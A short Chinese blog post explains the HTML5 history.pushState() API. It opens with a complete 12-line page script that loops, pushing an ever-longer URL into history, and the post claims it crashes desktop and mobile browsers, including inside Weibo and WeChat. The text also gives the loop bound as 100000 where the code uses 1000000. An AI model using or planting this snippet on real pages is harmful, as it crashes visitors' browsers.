js的history.pushstate()作用

先来一段之前网上看到的代码 12行神奇代码让电脑上的浏览器陷于崩溃状态

<html>

<body>

<script>

var total="";

for (var i=0;i<1000000;i++)

{

total= total+i.toString();

history.pushState(0,0,total);

}

</script>

</body>

</html>

如果你是PC端用户,点开链接以后,电脑CPU内存极有可能一路狂飙直至浏览器崩溃卡死...

如果你是移动端(安卓、iPhone)用户,点开链接以后你的浏览器会闪退!在微博、微信点开链接也同样会闪退。

history.pushstate()是HTML5引入的API,pushState将指定的URL添加到浏览器历史里,存储当前历史记录点。 当 i<100000 的时候会循环的将 total记录到浏览器历史里面,重复多了,浏览器就承受不住了,自然就崩了。


你可能感兴趣的:(浏览器,电脑,网上,先来)